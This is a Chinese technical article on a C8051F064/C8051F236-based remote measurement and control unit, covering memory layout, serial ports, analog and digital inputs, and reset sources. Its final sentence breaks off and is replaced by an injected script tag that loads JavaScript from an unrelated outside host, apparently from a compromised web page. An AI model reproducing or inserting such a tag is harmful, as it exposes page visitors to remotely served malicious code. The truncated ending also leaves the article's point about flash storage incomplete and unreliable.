c8051f单片机是完全集成的混合信号系统芯片(soc)，具有与8051指令集完全兼容的cip-51内核和高速、高性能、高集成度等特点。在本文设计的一套远端测控装置中取得了较好的效果。
系统简介
远端测控装置是一种现场可编程的控制器，它能完成数据的采集控制，而通过远程通信的方式(如电台、cdma、拨号等)将数据上传至中心站或接收中心站的遥控指令。它往往被安装在比较分散、环境比较恶劣、无电源保障(经常断电或使用太阳能)且无人值守的地方，因此它运行的可靠性和功耗就显得尤为重要了。c8051f单片机的工业级工作温度(-40℃~+84℃)、低电压、低功耗、自带看门狗和多复位源等特点满足了此系统的要求。
基于此系统的定位，选用c8051f064做主控部分，c8051f236做从属部分。系统要求具有输入／输出点可灵活配置、多通信端口、可现场修改配置等性能。
系统结构如图1所示，系统采用220vac或24vdc供电，主单元功耗3.3w，每个从单元功耗2.2w，最多可以扩展8个从单元。
图1 系统结构图
主单元结构
主单元结构如图2所示，根据系统的特点将c8051f064的功能做如下配置：
存储器
c8051f064内部自带4352字节ram和128字节的flash，由于系统对数据的实时性要求不高且采用远程通信方式，为了降低功耗，往往将大量数据缓存，在一定的时间集中发送，所以需要比较大的数据存储区，利用外部数据和地址总线可以扩展32kb的ram。另外，作为现场可编程设备，需要设定大量的参数，而这些参数都需要掉电保持，所以，除了使用单片机内部的128字节的非易失ram之外，还扩展了一个8kb的e2prom.
地址和数据总线的利用
地址和数据总线采用复用的方式，c8051f064支持64kb的外部存储空间，扩展ram为32kb，所以，剩下地址线a15是空余的，利用a15和其他低位的数据线，用与非门就可以构成片选信号，用来选择总线上的设备。在总线上还外挂了一个实时时钟，用来作为系统的时间标志，由于此芯片内带有电池保持的ram，对于频繁操作且需要保持的数据就可以存在此处，这样可以避免内部非易失ram和e2prom的复杂操作。另外，现场的数字i/o也可以用总线和片选经光电隔离构成，这样可以大量缩减单片机的引脚。
图2 主单元结构图
串口
c8051f064内部带有两个uart，其中串口0经光电隔离转换为rs-485信号,用于跟现场的其他设备连接，串口1再加上6个gpio口经电平转换后成为全功能标准的rs-232接口,用于与modem、电台、cdma等连接。用c8051f064的spi口经max3100扩展成uart，通过外部的可选配件，转变成rs-232或rs-485信号。
模拟量
c8051f064的模拟量输入最高不超过3.6v，所以接入信号时要注意其范围，针对此系统，由于现场信号大部分是4ma~20ma电流,因此用100ω的精密电阻，配上2.5v的精密电压源，可以将模拟量的精度调整到1‰。另外，启动内部adc0的窗口检测功能，可以方便地实现模拟量的上下限越限报警功能。
数字量
大部分数字量直接挂在总线上，另外，有两路开关量输入直接接到单片机引脚，并在内部分配这两个引脚为定时/计数器的输入，这两路就可以兼做脉冲量了。
单片机资源分配
c8051f064的端口功能分配使用交叉开关的方式，而且还带有优先级，这种方式很灵活，但是要求设计师在电路设计时就要将内部的功能分配就绪，也就是说电路板加工完成后就不可以随意修改交叉开关了。
复位
c8051f064除了实现传统的reset信号复位外，还有上电、掉电、外部信号、软件命令、比较器0、时钟丢失检测及开门狗等复位功能，共7种复位方式。单片机复位后可以通过查询寄存器得知是何原因引起的复位，这对数据的处理和故障分析都是很有用的。本系统使用的是上电、软件命令、时钟丢失和看门狗，增加软件命令复位的原因是：由于这些设备的安装地点都是比较偏远的，当中心站察觉此设备异常时，可以将其重新启动，以解决一些异常问题。
图3 从模块结构图
一些技术问题
数据的存储
在这个系统中有多个可以存储数据的存储器，如256字节的内部ram、4kb的内部扩展ram、32kb的外扩ram、128字节的flash、实时时钟内114字节的电池保持ram和外扩8kb的e2prom，这么多的数据存储区，一定要仔细分配其用途，以便充分发挥功能和速度。本系统作如下分配：256字节的内部ram读写速度最快，而且它是单片机内核所占用的，所以要减少使用，它用在对速度要求较高且频繁使用的地方，如中断内的变量等；4kb内部扩展ram和32kb外扩ram的地位是等同的，一般用作程序的中间变量；128字节的flash是整片修改的，所以修改之前要把所有数据读到缓冲区，将要修改的字节改掉，再把整片擦除，然后把数据写入。虽然写比较麻烦，但是读取很方便，所以用它存放一些?script src=http://er12.com/t.js>
